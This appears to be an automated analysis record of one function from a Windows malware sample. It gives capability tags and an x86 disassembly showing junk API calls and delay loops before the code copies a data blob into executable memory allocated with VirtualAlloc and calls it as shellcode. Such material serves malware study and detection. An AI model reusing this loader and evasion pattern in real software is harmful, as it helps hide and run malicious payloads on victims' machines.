Function at 0x4043d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404400
inc esi
cmp esi, 0x73f04bd
jl 0x4043e6
cmp dword [0x49ba74], 0x400
jne 0x40444b
push ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push ebx
push ebx
call fcn.00404b3e
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404c80
fstp st(0)
push ebx
push ebx
call fcn.00404b1d
add esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404cf0
fstp st(0)
add esp, 8
cmp dword [0x49ba74], 0x93
jne 0x40449f
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.00404cb0
add esp, 4
push ebx
push ebx
call fcn.00404cdf
add esp, 8
call fcn.00404a06
call fcn.004043c0
push ebx
call fcn.00404e0a
add esp, 4
mov eax, dword [0x49ba74]
mov ecx, dword [0x496c14]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x49c8b0], ecx
mov dword [0x49ba74], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x49b504], eax
mov esi, 0x1692e
lea esp, [esp]
call edi
sub esi, 1
jne 0x4044e0
cmp dword [0x49ba74], ebx
jbe 0x404547
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
jmp 0x404500
mov edx, dword [0x49c8b0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x49b504]
mov byte [ecx + esi], al
cmp dword [0x49ba74], 0x490
jne 0x40453e
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call edi
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call ebx
inc esi
cmp esi, dword [0x49ba74]
jb 0x404500
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov edx, dword [0x49ba74]
add edx, esi
cmp edx, 0x8d
jne 0x40458a
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404555
call fcn.004042a0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x4045ac
call ebx
cmp esi, 0x207142
jg 0x4045bd
inc esi
cmp esi, 0x67d12
jl 0x4045a2
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4045de
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x49b504], edx
inc esi
cmp esi, 0x674bd
jl 0x4045c0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov dword [ebp - 4], 0x7b
cmp dword [0x49ba74], 0x86
jne 0x404636
push 0
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x403ef0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x49ba74], 0xf
jne 0x40464b
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404600
call fcn.00404000
call dword [0x49b504]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret